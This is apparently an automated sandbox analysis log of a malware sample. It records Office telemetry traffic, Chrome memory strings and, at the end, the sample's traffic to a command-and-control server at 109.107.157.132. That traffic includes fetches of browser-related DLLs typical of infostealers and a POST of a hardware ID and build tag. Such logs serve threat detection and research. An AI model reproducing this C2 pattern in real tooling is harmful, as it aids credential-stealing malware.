Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 109.107.157.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/sqlite3.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/freebl3.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/mozglue.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/msvcp140.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/nss3.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/softokn3.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/vcruntime140.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache

Source: chrome.exe, 00000003.00000003.1774838149.0000138800EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774738179.0000138800F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774541104.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.1774838149.0000138800EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774738179.0000138800F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774541104.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic

DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGHIDBKJEGIECBGIEHCHost: 109.107.157.132Content-Length: 218Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 41 32 44 31 37 38 46 32 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 2d 2d 0d 0a Data Ascii: ------GDGHIDBKJEGIECBGIEHCContent-Disposition: form-data; name="hwid"3BA2D178F2D72284582127------GDGHIDBKJEGIECBGIEHCContent-Disposition: form-data; name="build"LogsDiller1------GDGHIDBKJEGIECBGIEHC--

Source: file.exe, 00000002.00000002.2322159441.0000000002F57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132
Source: file.exe, 00000002.00000002.2322159441.0000000002F97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.php
Source: file.exe, 00000002.00000002.2322159441.0000000002F97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.php.
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpDHIDAAFHIIDGDBFIE
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpDHIDAAFHIIDGDBFIEC
Source: file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpH
Source: file.exe, 00000002.00000003.1860077801.0000000002FE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpLMA
Source: file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpNT
Source: file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpVBG
Source: file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpc=
Source: file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpem
Source: file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpfi
Source: file.exe, 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpfirefox-desktop&utm_source=bookmarks-toolbar&utm_campaign
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpl
Source: file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpog
Source: file.exe, 00000002.00000003.1860077801.0000000002FE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phps:
Source: file.exe, 00000002.00000002.2322159441.0000000002F97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/7a5d4e643b804e99.phpv
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/955ccceeebf8214b/freebl3.dll
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/955ccceeebf8214b/mozglue.dll
Source: file.exe, 00000002.00000002.2322159441.0000000002F97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/955ccceeebf8214b/msvcp140.dll
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/955ccceeebf8214b/nss3.dll
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/955ccceeebf8214b/nss3.dll&.
Source: file.exe, 00000002.00000002.2322159441.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2322159441.0000000002F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/955ccceeebf8214b/softokn3.dll
Source: file.exe, 00000002.00000002.2322159441.0000000002F57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://109.107.157.132/955ccceeebf8214b/sqlite3.dll
